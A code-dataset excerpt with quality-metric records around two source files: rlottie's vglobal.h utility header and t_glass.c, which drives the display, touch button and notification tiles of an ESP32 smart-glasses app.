"qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vglobal.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VGLOBAL_H
#define VGLOBAL_H
#include <cmath>
#include <cstdint>
#include <iostream>
#include <type_traits>
#include <utility>
#if !defined(V_NAMESPACE)
#define V_USE_NAMESPACE
#define V_BEGIN_NAMESPACE
#define V_END_NAMESPACE
#else /* user namespace */
#define V_USE_NAMESPACE using namespace ::V_NAMESPACE;
#define V_BEGIN_NAMESPACE namespace V_NAMESPACE {
#define V_END_NAMESPACE }
#endif
#ifndef __has_attribute
# define __has_attribute(x) 0
#endif /* !__has_attribute */
#if __has_attribute(unused)
# define V_UNUSED __attribute__((__unused__))
#else
# define V_UNUSED
#endif /* V_UNUSED */
#if __has_attribute(warn_unused_result)
# define V_REQUIRED_RESULT __attribute__((__warn_unused_result__))
#else
# define V_REQUIRED_RESULT
#endif /* V_REQUIRED_RESULT */
#define V_CONSTEXPR constexpr
#define V_NOTHROW noexcept
#include "vdebug.h"
#if __GNUC__ >= 7
#define VECTOR_FALLTHROUGH __attribute__ ((fallthrough));
#else
#define VECTOR_FALLTHROUGH
#endif
#ifdef LOTTIE_THREAD_SUPPORT
#define vthread_local thread_local
#else
#define vthread_local
#endif
#if defined(_MSC_VER)
#define V_ALWAYS_INLINE __forceinline
#else
#define V_ALWAYS_INLINE __attribute__((always_inline))
#endif
template <typename T>
V_CONSTEXPR inline const T &vMin(const T &a, const T &b)
{
return (a < b) ? a : b;
}
template <typename T>
V_CONSTEXPR inline const T &vMax(const T &a, const T &b)
{
return (a < b) ? b : a;
}
static const double EPSILON_DOUBLE = 0.000000000001f;
static const float EPSILON_FLOAT = 0.000001f;
static inline bool vCompare(float p1, float p2)
{
return (std::abs(p1 - p2) < EPSILON_FLOAT);
}
static inline bool vIsZero(float f)
{
return (std::abs(f) <= EPSILON_FLOAT);
}
static inline bool vIsZero(double f)
{
return (std::abs(f) <= EPSILON_DOUBLE);
}
class vFlagHelper {
int i;
public:
explicit constexpr inline vFlagHelper(int ai) noexcept : i(ai) {}
constexpr inline operator int() const noexcept { return i; }
explicit constexpr inline vFlagHelper(uint32_t ai) noexcept : i(int(ai)) {}
explicit constexpr inline vFlagHelper(short ai) noexcept : i(int(ai)) {}
explicit constexpr inline vFlagHelper(uint16_t ai) noexcept
: i(int(uint32_t(ai)))
{
}
constexpr inline operator uint32_t() const noexcept { return uint32_t(i); }
};
template <typename Enum>
class vFlag {
public:
static_assert(
(sizeof(Enum) <= sizeof(int)),
"vFlag only supports int as storage so bigger type will overflow");
static_assert((std::is_enum<Enum>::value),
"vFlag is only usable on enumeration types.");
using Int = typename std::conditional<
std::is_unsigned<typename std::underlying_type<Enum>::type>::value,
uint32_t, signed int>::type;
using enum_type = Enum;
// compiler-generated copy/move ctor/assignment operators are fine!
vFlag() = default;
constexpr vFlag(Enum f) noexcept : i(Int(f)) {}
explicit constexpr vFlag(vFlagHelper f) noexcept : i(f) {}
inline vFlag &operator&=(int mask) noexcept
{
i &= mask;
return *this;
}
inline vFlag &operator&=(uint32_t mask) noexcept
{
i &= mask;
return *this;
}
inline vFlag &operator&=(Enum mask) noexcept
{
i &= Int(mask);
return *this;
}
inline vFlag &operator|=(vFlag f) noexcept
{
i |= f.i;
return *this;
}
inline vFlag &operator|=(Enum f) noexcept
{
i |= Int(f);
return *this;
}
inline vFlag &operator^=(vFlag f) noexcept
{
i ^= f.i;
return *this;
}
inline vFlag &operator^=(Enum f) noexcept
{
i ^= Int(f);
return *this;
}
constexpr inline operator Int() const noexcept { return i; }
constexpr inline vFlag operator|(vFlag f) const
{
return vFlag(vFlagHelper(i | f.i));
}
constexpr inline vFlag operator|(Enum f) const noexcept
{
return vFlag(vFlagHelper(i | Int(f)));
}
constexpr inline vFlag operator^(vFlag f) const noexcept
{
return vFlag(vFlagHelper(i ^ f.i));
}
constexpr inline vFlag operator^(Enum f) const noexcept
{
return vFlag(vFlagHelper(i ^ Int(f)));
}
constexpr inline vFlag operator&(int mask) const noexcept
{
return vFlag(vFlagHelper(i & mask));
}
constexpr inline vFlag operator&(uint32_t mask) const noexcept
{
return vFlag(vFlagHelper(i & mask));
}
constexpr inline vFlag operator&(Enum f) const noexcept
{
return vFlag(vFlagHelper(i & Int(f)));
}
constexpr inline vFlag operator~() const noexcept
{
return vFlag(vFlagHelper(~i));
}
constexpr inline bool operator!() const noexcept { return !i; }
constexpr inline bool testFlag(Enum f) const noexcept
{
return (i & Int(f)) == Int(f) && (Int(f) != 0 || i == Int(f));
}
inline vFlag &setFlag(Enum f, bool on = true) noexcept
{
return on ? (*this |= f) : (*this &= ~f);
}
Int i{0};
};
class VColor {
public:
VColor() = default;
explicit VColor(uint8_t red, uint8_t green, uint8_t blue,
uint8_t alpha = 255) noexcept
: a(alpha), r(red), g(green), b(blue)
{
}
inline uint8_t red() const noexcept { return r; }
inline uint8_t green() const noexcept { return g; }
inline uint8_t blue() const noexcept { return b; }
inline uint8_t alpha() const noexcept { return a; }
inline void setRed(uint8_t red) noexcept { r = red; }
inline void setGreen(uint8_t green) noexcept { g = green; }
inline void setBlue(uint8_t blue) noexcept { b = blue; }
inline void setAlpha(uint8_t alpha) noexcept { a = alpha; }
inline bool isOpaque() const { return a == 255; }
inline bool isTransparent() const { return a == 0; }
inline bool operator==(const VColor &o) const
{
return ((a == o.a) && (r == o.r) && (g == o.g) && (b == o.b));
}
uint32_t premulARGB() const
{
int pr = (r * a) / 255;
int pg = (g * a) / 255;
int pb = (b * a) / 255;
return uint32_t((a << 24) | (pr << 16) | (pg << 8) | (pb));
}
uint32_t premulARGB(float opacity) const
{
int alpha = int(a * opacity);
int pr = (r * alpha) / 255;
int pg = (g * alpha) / 255;
int pb = (b * alpha) / 255;
return uint32_t((alpha << 24) | (pr << 16) | (pg << 8) | (pb));
}
public:
uint8_t a{0};
uint8_t r{0};
uint8_t g{0};
uint8_t b{0};
};
enum class FillRule: unsigned char { EvenOdd, Winding };
enum class JoinStyle: unsigned char { Miter, Bevel, Round };
enum class CapStyle: unsigned char { Flat, Square, Round };
enum class BlendMode {
Src,
SrcOver,
DestIn,
DestOut,
Last,
};
#ifndef V_CONSTRUCTOR_FUNCTION
#define V_CONSTRUCTOR_FUNCTION0(AFUNC) \
namespace { \
static const struct AFUNC##_ctor_class_ { \
inline AFUNC##_ctor_class_() { AFUNC(); } \
} AFUNC##_ctor_instance_; \
}
#define V_CONSTRUCTOR_FUNCTION(AFUNC) V_CONSTRUCTOR_FUNCTION0(AFUNC)
#endif
#endif // VGLOBAL_H
| 8,411
|
vglobal
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 1100, "qsc_code_num_chars": 8411.0, "qsc_code_mean_word_length": 4.78363636, "qsc_code_frac_words_unique": 0.23545455, "qsc_code_frac_chars_top_2grams": 0.05416192, "qsc_code_frac_chars_top_3grams": 0.05777271, "qsc_code_frac_chars_top_4grams": 0.04256937, "qsc_code_frac_chars_dupe_5grams": 0.30520715, "qsc_code_frac_chars_dupe_6grams": 0.25978715, "qsc_code_frac_chars_dupe_7grams": 0.2145572, "qsc_code_frac_chars_dupe_8grams": 0.20353478, "qsc_code_frac_chars_dupe_9grams": 0.17122767, "qsc_code_frac_chars_dupe_10grams": 0.1263778, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01783178, "qsc_code_frac_chars_whitespace": 0.24658186, "qsc_code_size_file_byte": 8411.0, "qsc_code_num_lines": 305.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 27.57704918, "qsc_code_frac_chars_alphabet": 0.81252959, "qsc_code_frac_chars_comments": 0.15551064, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.14937759, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01590877, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.00829876, "qsc_codec_frac_lines_func_ratio": 0.19087137, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.23236515, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
ancs_app/main/t_glass.c
|
#include "t_glass.h"
#include "touch_element/touch_button.h"
#include "battery_measurement.h"
#include "esp_timer.h" // For getting timestamps
#include "esp_log.h"
#include "ancs_app.h"
#define TOUCH_BUTTON_NUM 1
#define DOUBLE_TAP_THRESHOLD_MS 300 // Define a threshold for double-tap detection (e.g., 300 ms)
#define TAG "[Glass Panel]"
static void lv_gui_goto_last_tile();
static void lv_gui_goto_next_tile();
// Define the variables
lv_obj_t *base_ui = NULL;
lv_timer_t *base_timer = NULL;
lv_color_t font_color;
lv_color_t bg_color;
bool time_colon_state;
lv_obj_t *time_hh;
lv_obj_t *time_mm;
lv_obj_t *time_colon;
lv_obj_t *date_label;
lv_obj_t *battery_label;
lv_obj_t *ble_label;
lv_obj_t *inbox_label;
static int current_tile_index = 0; // Tracks the active tile index
static int last_tile_index = 0; // Tracks the last added tile index
static bool first_press = true;
static int64_t last_call_time = 0; // Stores the timestamp of the last call
bool can_execute_function()
{
int64_t current_time = esp_timer_get_time(); // Get the current time in microseconds
if ((current_time - last_call_time) >= 500000) // Check if 0.5 second (500,000 µs) has passed
{
last_call_time = current_time; // Update the last call time
return true; // Function can be executed
}
return false; // Function should not be executed
}
/* Touch buttons handle */
static touch_button_handle_t button_handle[TOUCH_BUTTON_NUM];
/* Touch buttons channel array */
static const touch_pad_t channel_array[TOUCH_BUTTON_NUM] = {
TOUCH_PAD_NUM14,
};
/* Touch buttons channel sensitivity array */
static const float channel_sens_array[TOUCH_BUTTON_NUM] = {
0.02F,
};
esp_lcd_panel_io_handle_t io_handle = NULL;
esp_lcd_panel_handle_t panel_handle = NULL;
esp_err_t initialize_spi_bus()
{
ESP_LOGI(TAG, "Initialize SPI bus");
spi_bus_config_t buscfg = {
.sclk_io_num = BOARD_DISP_SCK,
.mosi_io_num = BOARD_DISP_MOSI,
.miso_io_num = BOARD_DISP_MISO,
.quadwp_io_num = BOARD_NONE_PIN,
.quadhd_io_num = BOARD_NONE_PIN,
//.max_transfer_sz = JD9613_HEIGHT * 80 * sizeof(uint16_t),
.max_transfer_sz = JD9613_WIDTH * JD9613_HEIGHT * 2,
.data4_io_num = 0,
.data5_io_num = 0,
.data6_io_num = 0,
.data7_io_num = 0,
.flags = 0x00,
.intr_flags = 0x00,
.isr_cpu_id = ESP_INTR_CPU_AFFINITY_AUTO,
};
return spi_bus_initialize(BOARD_DISP_HOST, &buscfg, SPI_DMA_CH_AUTO);
}
esp_err_t initialize_panel_io()
{
ESP_LOGI(TAG, "Install panel IO");
esp_lcd_panel_io_spi_config_t io_config = {
.dc_gpio_num = BOARD_DISP_DC,
.cs_gpio_num = BOARD_DISP_CS,
.pclk_hz = DEFAULT_SCK_SPEED,
.lcd_cmd_bits = 8,
.lcd_param_bits = 8,
.spi_mode = 0,
.trans_queue_depth = 10,
.on_color_trans_done = NULL,
.user_ctx = NULL,
.flags.dc_low_on_data = 0,
.flags.octal_mode = 0,
.flags.lsb_first = 0,
.flags.quad_mode = 0,
.flags.sio_mode = 0,
.flags.cs_high_active = 0};
// Attach the LCD to the SPI bus
return esp_lcd_new_panel_io_spi((esp_lcd_spi_bus_handle_t)BOARD_DISP_HOST, &io_config, &io_handle);
}
esp_err_t initialize_panel_jd9613()
{
ESP_ERROR_CHECK(initialize_spi_bus());
ESP_ERROR_CHECK(initialize_panel_io());
esp_lcd_panel_dev_config_t panel_config = {
.reset_gpio_num = BOARD_DISP_RST,
.rgb_ele_order = LCD_RGB_ELEMENT_ORDER_RGB,
.bits_per_pixel = 16,
.flags.reset_active_high = 0,
.vendor_config = NULL};
ESP_ERROR_CHECK(esp_lcd_new_panel_jd9613(io_handle, &panel_config, &panel_handle));
ESP_ERROR_CHECK(esp_lcd_panel_reset(panel_handle));
ESP_ERROR_CHECK(esp_lcd_panel_init(panel_handle));
setBrightness(panel_handle, 255);
/* Add LCD screen */
ESP_LOGI(TAG, "Add LCD screen");
const lvgl_port_display_cfg_t disp_cfg = {
.io_handle = io_handle,
.panel_handle = panel_handle,
.buffer_size = JD9613_WIDTH * JD9613_HEIGHT,
.double_buffer = false,
.hres = JD9613_WIDTH,
.vres = JD9613_HEIGHT,
.monochrome = false,
.rotation = {
.swap_xy = false,
.mirror_x = false,
.mirror_y = false,
},
.flags = {
.buff_dma = false,
.buff_spiram = false,
.sw_rotate = true,
.swap_bytes = false,
.full_refresh = true,
.direct_mode = false,
}};
const lvgl_port_cfg_t lvgl_cfg = ESP_LVGL_PORT_INIT_CONFIG();
ESP_ERROR_CHECK(lvgl_port_init(&lvgl_cfg));
lv_display_t *disp = lvgl_port_add_disp(&disp_cfg);
if (disp)
{
return ESP_OK;
}
ESP_LOGE(TAG, "[Err] LVGL Display is not setup properly");
return ESP_FAIL;
}
/* Button callback routine */
static void button_handler(touch_button_handle_t out_handle, touch_button_message_t *out_message, void *arg)
{
(void)out_handle; // Unused
static bool single_button_press = false;
if (out_message->event == TOUCH_BUTTON_EVT_ON_PRESS)
{
ESP_LOGI(TAG, "Button[%d] Press", (int)arg);
single_button_press = true;
}
else if (out_message->event == TOUCH_BUTTON_EVT_ON_RELEASE)
{
ESP_LOGI(TAG, "Button[%d] Release", (int)arg);
if (single_button_press)
{
if (first_press)
{
// On the first button press, go to the last tile
lv_gui_goto_last_tile();
}
else
{
// On subsequent presses, go to the next tile and remove the previous one
lv_gui_goto_next_tile();
}
}
}
else if (out_message->event == TOUCH_BUTTON_EVT_ON_LONGPRESS)
{
ESP_LOGI(TAG, "Button[%d] LongPress", (int)arg);
single_button_press = false;
}
}
esp_err_t initialize_touch_pad()
{
ESP_LOGI(TAG, "Creating button\n");
/* Initialize Touch Element library */
touch_elem_global_config_t global_config = TOUCH_ELEM_GLOBAL_DEFAULT_CONFIG();
ESP_ERROR_CHECK(touch_element_install(&global_config));
ESP_LOGI(TAG, "Touch element library installed");
touch_button_global_config_t button_global_config = TOUCH_BUTTON_GLOBAL_DEFAULT_CONFIG();
ESP_ERROR_CHECK(touch_button_install(&button_global_config));
ESP_LOGI(TAG, "Touch button installed");
for (int i = 0; i < TOUCH_BUTTON_NUM; i++)
{
touch_button_config_t button_config = {
.channel_num = channel_array[i],
.channel_sens = channel_sens_array[i]};
/* Create Touch buttons */
ESP_ERROR_CHECK(touch_button_create(&button_config, &button_handle[i]));
/* Subscribe touch button events (On Press, On Release, On LongPress) */
ESP_ERROR_CHECK(touch_button_subscribe_event(button_handle[i],
TOUCH_ELEM_EVENT_ON_PRESS | TOUCH_ELEM_EVENT_ON_RELEASE | TOUCH_ELEM_EVENT_ON_LONGPRESS,
(void *)channel_array[i]));
/* Set EVENT as the dispatch method */
ESP_ERROR_CHECK(touch_button_set_dispatch_method(button_handle[i], TOUCH_ELEM_DISP_CALLBACK));
/* Register a handler function to handle event messages */
ESP_ERROR_CHECK(touch_button_set_callback(button_handle[i], button_handler));
/* Set LongPress event trigger threshold time */
ESP_ERROR_CHECK(touch_button_set_longpress(button_handle[i], 1000));
}
return touch_element_start();
}
esp_err_t initialize_battery_measurement()
{
return battery_measurement_init();
}
void base_tileview(lv_obj_t *parent)
{
lvgl_port_lock(0);
lv_obj_set_scroll_dir(parent, LV_DIR_NONE);
// TIME
lv_obj_t *base_tile = lv_obj_create(parent);
lv_obj_set_size(base_tile, LV_PCT(100), LV_PCT(100));
lv_obj_set_style_bg_color(base_tile, bg_color, 0);
lv_obj_set_style_border_width(base_tile, 0, 0);
lv_obj_set_scrollbar_mode(base_tile, LV_SCROLLBAR_MODE_OFF);
lv_obj_set_scroll_dir(base_tile, LV_DIR_NONE);
battery_label = lv_label_create(base_tile);
lv_obj_set_style_text_color(battery_label, font_color, 0);
lv_obj_align(battery_label, LV_ALIGN_TOP_RIGHT, 0, 0);
lv_obj_set_style_text_font(battery_label, &lv_font_montserrat_10, 0);
ble_label = lv_label_create(base_tile);
lv_obj_set_style_text_color(ble_label, font_color, 0);
lv_label_set_text(ble_label, LV_SYMBOL_BLUETOOTH);
lv_obj_align(ble_label, LV_ALIGN_TOP_LEFT, 0, 0);
lv_obj_set_style_text_font(ble_label, &lv_font_montserrat_14, 0);
inbox_label = lv_label_create(base_tile);
lv_obj_set_style_text_color(inbox_label, font_color, 0);
lv_obj_set_style_text_align(inbox_label, LV_TEXT_ALIGN_CENTER, 0);
lv_label_set_text(inbox_label, "Are you sure\nthere are\nno messages?");
lv_obj_center(inbox_label);
lv_obj_set_style_text_font(inbox_label, &lv_font_montserrat_14, 0);
lvgl_port_unlock();
}
const char *get_battery_icon(float voltage)
{
if (voltage >= 4.0)
{
return LV_SYMBOL_BATTERY_FULL; // Full battery
}
else if (voltage >= 3.85)
{
return LV_SYMBOL_BATTERY_3; // 3 bars
}
else if (voltage >= 3.70)
{
return LV_SYMBOL_BATTERY_2; // 2 bars
}
else if (voltage >= 3.50)
{
return LV_SYMBOL_BATTERY_1; // 1 bar
}
else
{
return LV_SYMBOL_BATTERY_EMPTY; // Empty battery
}
}
void sys_timer_fn(lv_timer_t *timer)
{
lvgl_port_lock(0);
float battery_voltage = battery_measurement_read();
// Convert voltage to percentage
int battery_percentage = battery_voltage_to_percentage(battery_voltage);
// ESP_LOGI(TAG, "Battery Voltage: %.2f V, Battery Percentage: %d%%\n", battery_voltage, battery_percentage);
char battery_info[100];
snprintf(battery_info, sizeof(battery_info), "%.2fV, %d%% %s", battery_voltage, battery_percentage, get_battery_icon(battery_voltage));
lv_label_set_text(battery_label, battery_info);
lvgl_port_unlock();
}
esp_err_t init_tglass()
{
if (initialize_panel_jd9613() != ESP_OK)
{
ESP_LOGE(TAG, "[Err] JD9613 panel driver setup failed");
return ESP_FAIL;
}
if (initialize_battery_measurement() != ESP_OK)
{
ESP_LOGE(TAG, "[Err] Battery Measurement setup failed");
return ESP_FAIL;
}
if (initialize_touch_pad() != ESP_OK)
{
ESP_LOGE(TAG, "[Err] Touch pad setup failed");
return ESP_FAIL;
}
font_color = lv_color_white();
bg_color = lv_color_black();
lvgl_port_lock(0);
// Create a display base object
base_ui = lv_tileview_create(lv_screen_active());
lv_obj_clear_flag(base_ui, LV_OBJ_FLAG_SCROLLABLE);
lv_obj_set_style_bg_color(base_ui, lv_color_black(), 0);
lv_obj_set_style_text_color(base_ui, lv_color_hex(0xffffff), LV_PART_MAIN);
lv_obj_set_style_border_width(base_ui, 0, 0);
// lv_obj_set_pos(base_ui, 0, GlassViewable_X_Offset);
lv_obj_set_size(base_ui, GlassViewableWidth, GlassViewableHeight);
lv_obj_align(base_ui, LV_ALIGN_BOTTOM_MID, 0, 0);
// Create the displayed UI
lv_obj_t *t1 = lv_tileview_add_tile(base_ui, 0, 0, LV_DIR_HOR | LV_DIR_BOTTOM);
// Create date page
base_tileview(t1);
base_timer = lv_timer_create(sys_timer_fn, 1000, NULL);
lvgl_port_unlock();
return ESP_OK;
}
void add_tile_view(int index, NotificationAttributes *notification)
{
lvgl_port_lock(0);
if (++last_tile_index >= (MAX_NOTIFICATIONS + 1))
{
ESP_LOGW(TAG, "add_tile_view ignored: MAX_NOTIFICATIONS reached.");
return;
}
lv_obj_t *tile = lv_tileview_add_tile(base_ui, last_tile_index, 0, LV_DIR_HOR | LV_DIR_BOTTOM);
ESP_LOGI(TAG, "[AA] add_tile_view(last_tile_index) : %d", (int)last_tile_index);
lv_obj_set_scroll_dir(tile, LV_DIR_NONE);
lv_obj_t *base_tile = lv_obj_create(tile);
lv_obj_set_size(base_tile, LV_PCT(100), LV_PCT(100));
lv_obj_set_style_bg_color(base_tile, bg_color, 0);
lv_obj_set_style_border_width(base_tile, 0, 0);
lv_obj_set_scrollbar_mode(base_tile, LV_SCROLLBAR_MODE_OFF);
lv_obj_set_scroll_dir(base_tile, LV_DIR_NONE);
lv_obj_t *title = lv_label_create(base_tile);
lv_obj_set_style_text_color(title, font_color, 0);
lv_label_set_text(title, notification->Title);
lv_label_set_long_mode(title, LV_LABEL_LONG_SCROLL_CIRCULAR);
lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0);
lv_obj_align(title, LV_ALIGN_TOP_LEFT, 4, 8);
lv_obj_t *msg = lv_label_create(base_tile);
lv_obj_set_style_text_color(msg, font_color, 0);
lv_obj_set_size(msg, 100, 100);
lv_label_set_text(msg, notification->Message);
lv_obj_set_style_text_font(msg, &lv_font_montserrat_12, 0);
lv_obj_align(msg, LV_ALIGN_TOP_LEFT, 4, 24);
static lv_point_precise_t line_points[] = {{4, 20}, {100, 20}};
static lv_style_t style_line;
lv_style_init(&style_line);
lv_style_set_line_width(&style_line, 2);
lv_style_set_line_color(&style_line, lv_palette_main(LV_PALETTE_BLUE));
lv_style_set_line_rounded(&style_line, true);
/*Create a line and apply the new style*/
lv_obj_t *line = lv_line_create(base_tile);
lv_line_set_points(line, line_points, 2); /*Set the points*/
lv_obj_add_style(line, &style_line, 0);
lv_obj_align_to(line, msg, LV_ALIGN_OUT_TOP_MID, 0, 0);
lv_gui_set_inbox_title(last_tile_index);
lvgl_port_unlock();
}
static void lv_gui_goto_last_tile()
{
ESP_LOGI(TAG, "lv_gui_goto_last_tile: %d", (int)last_tile_index);
if (last_tile_index > 0)
{
current_tile_index = last_tile_index; // Set to the last tile
lv_obj_set_tile_id(base_ui, current_tile_index, 0, LV_ANIM_ON);
ESP_LOGI(TAG, "Moved to last tile: %d", current_tile_index);
first_press = false;
}
else
{
ESP_LOGI(TAG, "No notification tiles available.");
}
}
static void lv_gui_goto_next_tile()
{
ESP_LOGI(TAG, "Current tile index before navigation: %d", current_tile_index);
// Delete the current tile if it exists
lv_obj_t *current_tile = lv_tileview_get_tile_active(base_ui);
if (current_tile != NULL && current_tile_index > 0)
{
lv_obj_delete(current_tile);
ESP_LOGI(TAG, "Deleted tile at index: %d", current_tile_index);
--notification_index;
--last_tile_index; // Update the last tile index
lv_gui_set_inbox_title(last_tile_index);
}
// Move to the previous tile
if (last_tile_index > 0)
{
--current_tile_index; // Decrement the current index
lv_obj_set_tile_id(base_ui, current_tile_index, 0, LV_ANIM_ON);
ESP_LOGI(TAG, "Moved to tile: %d", current_tile_index);
}
else
{
// If no tiles are left, go back to the base tile
current_tile_index = 0;
lv_obj_set_tile_id(base_ui, current_tile_index, 0, LV_ANIM_ON);
ESP_LOGI(TAG, "No more tiles. Returning to base.");
first_press = true;
}
}
void lv_gui_remove_all_tiles()
{
ESP_LOGI(TAG, "Removing all tiles...");
// Lock the LVGL port to ensure thread safety
lvgl_port_lock(0);
// Remove all tiles from last to first
while (last_tile_index > 0)
{
lv_obj_t *current_tile = lv_tileview_get_tile_active(base_ui);
if (current_tile != NULL && last_tile_index > 0)
{
lv_obj_delete(current_tile);
ESP_LOGI(TAG, "Deleted tile at index: %d", last_tile_index);
}
--last_tile_index; // Decrease the last tile index
--notification_index; // Update the notification index
}
// Reset indices and return to the base tile
current_tile_index = 0;
lv_obj_set_tile_id(base_ui, current_tile_index, 0, LV_ANIM_OFF);
// Unlock the LVGL port
lvgl_port_unlock();
ESP_LOGI(TAG, "All tiles removed. Returning to base.");
}
void lv_gui_ble_status(bool isOn)
{
lvgl_port_lock(0);
lv_obj_set_style_text_color(ble_label, isOn ? lv_palette_main(LV_PALETTE_BLUE) : font_color, 0);
if (!isOn)
{
lv_gui_remove_all_tiles();
}
lvgl_port_unlock();
}
void lv_gui_set_inbox_title(int notification_count)
{
lvgl_port_lock(0);
char buffer[128];
if (notification_count == 0)
{
lv_label_set_text(inbox_label, "Hooray!\nNo Unread\nMessages!\nTime to relax.");
}
else if (notification_count == 1)
{
lv_label_set_text(inbox_label, "Just 1\nNew Message.\nMake it count!");
}
else if (notification_count == 2)
{
lv_label_set_text(inbox_label, "Two's company:\nYou have\n2 Messages!");
}
else if (notification_count == 3)
{
lv_label_set_text(inbox_label, "Three's a crowd:\nCheck your\n3 Messages!");
}
else if (notification_count == 4)
{
lv_label_set_text(inbox_label, "4 Messages\nWaiting for you.\nLet's get reading!");
}
else if (notification_count <= 6)
{
snprintf(buffer, sizeof(buffer), "Wow, %d Messages!\nYou're popular!", notification_count);
lv_label_set_text(inbox_label, buffer);
}
else if (notification_count <= 9)
{
snprintf(buffer, sizeof(buffer), "%d Messages!\nYou're on fire!", notification_count);
lv_label_set_text(inbox_label, buffer);
}
else if (notification_count <= 10)
{
lv_label_set_text(inbox_label, "10 Messages!\nOverflow alert!");
}
lvgl_port_unlock();
}
| 17,673
|
t_glass
|
c
|
en
|
c
|
code
|
